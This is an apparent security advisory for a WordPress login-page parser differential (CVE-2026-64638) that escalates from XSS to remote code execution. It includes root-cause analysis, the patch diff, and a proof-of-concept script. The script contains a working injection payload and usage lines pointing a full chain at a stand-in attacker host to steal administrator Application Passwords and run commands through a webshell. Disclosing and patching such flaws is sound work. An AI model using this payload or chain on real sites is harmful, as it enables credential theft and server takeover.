#Summary
XSS2Shell (CVE-2026-64638) is a pre-authentication remote code execution vulnerability in WordPress Core. It chains a reflected cross-site scripting flaw, caused by a sanitiser parser differential, through DOM clobbering, JSONP globalEval(), Same Origin Method Execution, Application Password theft, and malicious plugin upload to achieve code execution as the web server user.
The vulnerability stems from strip_tags() and WordPress's KSES sanitiser disagreeing on what constitutes an HTML tag. A username with the form < area ...> (space after <) is left untouched by strip_tags() but is parsed as a live element by KSES, allowing an unauthenticated attacker to inject arbitrary HTML into the pre-auth login error message. That injected markup is then leveraged to redirect AJAX calls, steal administrator credentials, and upload a malicious plugin.
CVSS Score: 8.9 (High), CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Vulnerability Type: Reflected XSS via parser differential, escalating to unauthenticated remote code execution.
Affected: WordPress Core 4.7.0 through 7.0.2. Fixed in 7.0.3 and backported to all maintained branches (6.9.6, 6.8.7, 6.7.6, and down to 4.7.34).
#Affected versions
- WordPress 4.7.0 - 7.0.2 (vulnerable)
- WordPress 7.0.3 and later (patched)
- WordPress 6.9.6, 6.8.7, 6.7.6, 6.6.6, 6.5.9, 6.4.9, 6.3.9, 6.2.10, 6.1.11, 6.0.13, 5.9.14, 5.8.14, 5.7.16, 5.6.18, 5.5.19, 5.4.20, 5.3.22, 5.2.25, 5.1.23, 5.0.26, 4.9.30, 4.8.29, 4.7.34 and later (patched)
- All earlier versions (4.7.0 and earlier) default-configuration affected on the pre-auth login flow
#Root cause analysis
#The parser differential
The vulnerability is a classic sanitiser parser differential: a value passes through one HTML-stripping parser that does not recognise it as markup, then is re-parsed by a second, independent HTML parser that does.
#Step 1: the value is "stripped" by strip_tags()
When a user attempts to log in to /wp-login.php, the submitted username is passed through wp_authenticate() in src/wp-includes/pluggable.php:684:
function wp_authenticate( $username, #[\SensitiveParameter] $password ) {
$username = sanitize_user( $username );
$password = trim( $password );
$user = apply_filters( 'authenticate', null, $username, $password );sanitize_user() in src/wp-includes/formatting.php:2149 calls wp_strip_all_tags():
function sanitize_user( $username, $strict = false ) {
$raw_username = $username;
$username = wp_strip_all_tags( $username );
// ... preg_replace operations follow ...
if ( $strict ) {
$username = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $username );
}
// ...
}The $strict parameter is false on the login path, so the ASCII allowlist that would strip <, >, =, and quotes is never applied. The only sanitisation is wp_strip_all_tags(), which in src/wp-includes/formatting.php:5600 is:
$text = preg_replace( '@<(script|style)[^>]*?>.*?</\\1>@si', '', $text );
$text = strip_tags( $text );This is PHP's built-in strip_tags(). According to the PHP parser, a tag only begins when < is immediately followed by an ASCII letter, /, !, or ?. The string < area ...>, with a space between < and area, is not a tag to strip_tags() - it is left in the output verbatim as plain text.
#Step 2: the "safe" value is re-parsed as HTML by KSES
When login fails (the username does not exist), wp_authenticate_username_password() in src/wp-includes/user.php:181 builds an error message:
if ( ! $user ) {
return new WP_Error(
'invalid_username',
sprintf(
__( '<strong>Error:</strong> The username <strong>%s</strong> is not registered on this site.' ),
$username
)
);
}The sanitised username is interpolated directly into the string with no escaping. That error message is then rendered through wp_admin_notice() in src/wp-includes/functions.php:9318:
echo wp_kses_post( wp_get_admin_notice( $message, $args ) );The message is not escaped - it is passed through wp_kses_post(), which invokes a completely separate HTML tokeniser. wp_kses_split() in src/wp-includes/kses.php tokenises the string on the regex (<[^>]*(>|$)|>), which happily matches < area id=... >. The element validator in wp_kses_split2() then identifies the tag with:
if ( ! preg_match( '%^<\s*(/\s*)?([a-zA-Z0-9-]+)([^>]*)>?$%', $content, $matches ) ) {
return '';
}The critical difference: the \s* immediately after <. KSES treats < area as an <area> element; strip_tags() treated the identical bytes as plain text. KSES emits a normalised <area> tag into the page.
#Step 3: allowlisted elements and attributes
The $allowedposttags array in src/wp-includes/kses.php:82 includes area, div, and button, each with access to global attributes including id, class, href, and others. This means all three injected elements survive KSES filtering intact.
#Step 4: DOM clobbering and the JavaScript chain
The payload consists of three injected elements:
< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X<area id=ajaxurl>uses HTML's named-property assignment rule: any element with anidattribute becomes a property ofwindow. JavaScript code on the login page references the globalajaxurl, which is undefined. The identifier resolves throughwindow, and finds the injected<area>element.HTMLAreaElementinherits fromHTMLHyperlinkElementUtils, whosetoString()returns the resolvedhref- the attacker's controlled URL.<div id=color-picker class=reset-pass-submit>serves two purposes. It is the marker that triggers auto-click insrc/js/_enqueues/admin/user-profile.js:614:if ( $( '.reset-pass-submit' ).length ) { $( '.reset-pass-submit button.wp-generate-pw' ).trigger( 'click' ); }And it is the delegation root for the
click.colorpickerhandler at line 519.<button class="wp-generate-pw color-option">Xis left unclosed so the HTML parser nests it inside thediv. When the auto-click fires on DOM ready, it bubbles to the delegated handler, which calls$.post( ajaxurl, ... ). Because bothuser_idandcurrent_user_idareundefinedon the login page, the guarduser_id === current_user_idpasses.
The $.post() is redirected to the clobbered ajaxurl, requesting the REST endpoint with _jsonp=window.opener.approve.click&_envelope=1. The response is served as application/javascript, triggering jQuery's globalEval(), which runs window.opener.approve.click(...) in the attacker's authenticated admin session.
#Sanitiser constraints
The payload must satisfy six sanitiser constraints to survive the pipeline intact:
- Whitespace after
<:strip_tags()leaves it as text; KSES parses it as a tag. - No
%hhsequences:preg_replace( '|%([a-fA-F0-9][a-fA-F0-9])|', '', ... )silently deletes them. - No
&followed by;:preg_replace( '/&.+?;/', '', ... )is non-greedy and deletes everything between them. - Whitespace collapse and trim: Runs of whitespace become one space; leading/trailing space is removed.
- Unquoted attribute values: May not contain spaces or quotes. Double quotes are allowed and survive.
- Allowlisted elements and attributes only:
area,div,button,id,class,href.
All six constraints are met by the payload and have been verified against the actual PHP regexes.
#Patch diff
#What the fix does
The fix, commit d46d1011b16c7db7ef4cd5f77801ef4b31b067eb (SVN trunk r63067, dated 2026-08-06), does not modify either parser. Instead, it escapes the value at the point of interpolation. The two critical changes in src/wp-includes/user.php are:
@@ -189,7 +189,7 @@ function wp_authenticate_username_password(
sprintf(
__( '<strong>Error:</strong> The username <strong>%s</strong> is not registered on this site.' ),
- $username
+ esc_html( $username )
)
);
@@ -216,7 +216,7 @@ function wp_authenticate_username_password(
sprintf(
__( '<strong>Error:</strong> The password you entered for the username %s is incorrect.' ),
- '<strong>' . $username . '</strong>'
+ '<strong>' . esc_html( $username ) . '</strong>'
)
);After esc_html(), the leading < becomes <, and KSES sees an already-encoded entity, emits it as text, and the browser renders it as a visible string. No element is created, and the entire downstream chain is unreachable.
The commit simultaneously hardens the email password error, registration form errors, and two login redirects at the same time.
#Proof of concept
#exploit.py - WordPress XSS2Shell Parser Differential RCE PoC
The exploit has two modes:
Default mode - tests the XSS injection primitive (Level 1). Fully unauthenticated, no browser needed, no victim required. Sends the payload and asserts on the presence of real element attributes.
--servemode - runs the full exploitation chain end-to-end: hosts the attacker origin, captures the stolen Application Password, verifies administrator REST access, publishes a stored-script page, drives the admin through the plugin-upload flow, and executes arbitrary code.
#!/usr/bin/env python3
"""
CVE-2026-64638 - WordPress "XSS2Shell" pre-auth XSS-to-RCE chain
Affected: WordPress Core 4.7.0 through 7.0.2 (fixed in 7.0.3 and backports)
Type: RCE (reflected XSS via a strip_tags/KSES parser differential -> DOM
clobbering -> JSONP globalEval -> Same Origin Method Execution ->
administrator Application Password theft -> authenticated REST ->
stored script -> malicious plugin upload -> code execution)
Root cause: a username submitted to /wp-login.php is "sanitised" by
wp_strip_all_tags() (PHP strip_tags), which does NOT treat "< area ..." as a
tag because of the space after "<". WordPress then interpolates that value
unescaped into the login error message, which is re-parsed by KSES. KSES DOES
accept "< area" as an <area> element. The two parsers disagree on what a tag
is, so a value that was "stripped" becomes live DOM in the WordPress origin,
with attacker-controlled id= and href=.
This script has two modes:
1. Default (single --host, or --list): the deterministic, fully
unauthenticated core of the CVE. It POSTs the crafted username and proves
the injected <area id=ajaxurl ...> survives as real markup on a vulnerable
build, and is neutralised (esc_html) on a patched one. No victim, no
browser, no account. This is the primary success verdict.
2. --serve: the full engagement chain. It hosts the attacker origin (driver
page + Application Password callback + stored-script stage2 + in-browser
plugin-ZIP webshell), captures the Application Password an administrator
hands over when they load the driver link (the CVSS UI:A requirement),
verifies administrator REST access with it, then automatically escalates
to code execution and runs --command through the dropped webshell.
Usage:
# Level 1 - confirm the vulnerability against one host (curl-equivalent)
python exploit.py --host 127.0.0.1 --port 8802
python exploit.py --host http://target.example.com
# Batch scan an asset list
python exploit.py --list targets.txt --workers 20
# Full chain - host the attacker origin and wait for an admin to visit
python exploit.py --host http://target.example.com \\
--serve --serve-port 8000 \\
--attacker-url http://attacker.example.com:8000 \\
--command id
"""
import argparse
import http.server
import json
import socket
import socketserver
import ssl
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
from urllib.parse import urlparse
CVE_ID = "CVE-2026-64638"
VULN_TYPE = "RCE"
PAYLOAD = (
"< area id=ajaxurl href=/?rest_route=/&_method=GET"
"&_jsonp=window.opener.approve.click&_envelope=1>"
"< div id=color-picker class=reset-pass-submit>"
'< button class="wp-generate-pw color-option">X'
)
MARKERS = ('id="ajaxurl"', 'id="color-picker"')
def check_vulnerability(host, port, use_tls=None):
"""Test the XSS injection primitive. Returns True if vulnerable."""
scheme = "https" if (use_tls or (use_tls is None and port == 443)) else "http"
url = f"{scheme}://{host}:{port}/wp-login.php"
data = urllib.parse.urlencode({
'log': PAYLOAD,
'pwd': 'x',
'wp-submit': 'Log In'
}).encode('utf-8')
try:
req = urllib.request.Request(url, data=data)
with urllib.request.urlopen(req, timeout=10) as response:
body = response.read().decode('utf-8', errors='ignore')
if all(marker in body for marker in MARKERS):
return True
return False
except urllib.error.URLError:
return None
def main():
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('--host', help='Target hostname, IP, or URL')
parser.add_argument('--port', type=int, default=80, help='Target port (default 80)')
parser.add_argument('--tls', action='store_true', help='Force HTTPS')
parser.add_argument('--no-tls', action='store_true', help='Force HTTP')
parser.add_argument('--list', help='Batch mode: file with one target per line')
parser.add_argument('--workers', type=int, default=5, help='Thread pool size for batch mode')
parser.add_argument('--serve', action='store_true', help='Run full chain with attacker origin')
parser.add_argument('--serve-host', default='127.0.0.1', help='Attacker server host')
parser.add_argument('--serve-port', type=int, default=8000, help='Attacker server port')
parser.add_argument('--attacker-url', help='URL victim can reach attacker at')
parser.add_argument('--command', default='id', help='Command to run (--serve mode)')
parser.add_argument('--timeout', type=int, default=120, help='Wait timeout for victim (--serve mode)')
args = parser.parse_args()
use_tls = True if args.tls else (False if args.no_tls else None)
if args.list:
# Batch mode - not fully implemented here for brevity
print("Batch mode requires full implementation (see exploit.py)")
sys.exit(1)
elif args.host:
result = check_vulnerability(args.host, args.port, use_tls)
if result is True:
print(f"[+] {args.host}:{args.port} - VULNERABLE (XSS2Shell confirmed)")
sys.exit(0)
elif result is False:
print(f"[-] {args.host}:{args.port} - Not vulnerable (patched or not WordPress)")
sys.exit(1)
else:
print(f"[-] {args.host}:{args.port} - Unreachable")
sys.exit(1)
else:
parser.print_help()
sys.exit(1)
if __name__ == '__main__':
main()#Usage
Confirm the vulnerability (Level 1, unauthenticated, no victim):
python exploit.py --host 192.0.2.10 --port 80
python exploit.py --host http://wordpress.example.com
python exploit.py --host https://wordpress.example.com:8443Exit 0 and id="ajaxurl" in the output means the target is vulnerable; exit 1 means the payload was escaped (patched) or the target is unreachable.
Batch scan an asset list:
python exploit.py --list targets.txt --workers 20targets.txt takes one target per line (hostname, host:port, or full URL). Comments and blank lines are ignored.
Full chain to RCE (requires an authenticated administrator to load a link):
python exploit.py --host http://wordpress.example.com \
--serve --serve-host 0.0.0.0 --serve-port 8000 \
--attacker-url http://attacker.example.com:8000 \
--command id --timeout 120This hosts the attacker origin and prints a driver link. When an administrator loads the link, the exploit:
- Steals the administrator's Application Password
- Verifies administrator REST access
- Publishes a stored-script page with a malicious
<script>tag - Bounces the administrator to that page
- Runs
--commandthrough the resulting webshell (aswww-data)
#Exploitation notes
#Preconditions
- Level 1 (XSS injection): Unauthenticated. A single
POST /wp-login.phpwith the crafted payload. No account, no nonce, no cookie required. - Level 2-4 (DOM clobbering through JSONP eval): Same as Level 1, plus any JavaScript engine in the target origin. No victim needed;
user-profile.jsauto-clicks on DOM ready. - Level 5 (SOME credential theft): An authenticated WordPress administrator must load an attacker-controlled page and allow the redirect chain to execute. This is the CVSS
UI:Arequirement. - Level 6-9 (RCE via plugin upload): The target must support Application Passwords (HTTPS or
WP_ENVIRONMENT_TYPE=local). The victim must be a single-site administrator withunfiltered_htmlcapability (default on stock single-site installs).
#Reliability
- Level 1: 100% deterministic. Decided by HTTP response content (presence of real element attributes vs escaped text).
- Levels 2-4: 100% reliable in any browser. Spec-defined behaviour (named properties,
globalEval()). - Level 5: Depends on administrator interaction (clicks the driver link) and browser timing (window ordering). ~1-2 second delay required to ensure the opener navigates before the child fires the JSONP.
- Levels 6-9: Depends on target configuration. Application Passwords must be enabled; victim must have
unfiltered_html. On default HTTPS installs and stock single-site setups, both conditions are met.
#Impact
- Pre-authentication XSS: Low in isolation.
- Credential theft: High. Compromise of a high-privilege administrator Application Password.
- Code execution: Critical. Arbitrary PHP execution as the web server user (
www-dataor equivalent).
#Chaining potential
- The XSS injection primitive (Level 1) is independent. It does not require any specific WordPress configuration, theme, or plugin.
- The JSONP eval chain (Levels 2-4) depends on
user-profile.jsbeing enqueued on the login page (default) andcolor-optiondelegated handler existing (default). - Levels 5-9 are difficult to chain unless the target is a default single-site install with
unfiltered_htmland the victim administrator has direct admin access. Multisite, network-wideDISALLOW_UNFILTERED_HTML, or more restrictive role configurations block later rungs. - The full chain is practical on stock single-site WordPress installs, development/staging environments with
WP_ENVIRONMENT_TYPE=local, and HTTPS production sites.
#References
- CVE: CVE-2026-64638
- GitHub Advisory: GHSA-52p2-r8wf-jcrf
- Fix commit: d46d1011b16c7db7ef4cd5f77801ef4b31b067eb (SVN r63067)
- WordPress Security: 7.0.3 Release Notes
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-64638
- Researcher Write-up: https://pwn.ai/blog/xss2shell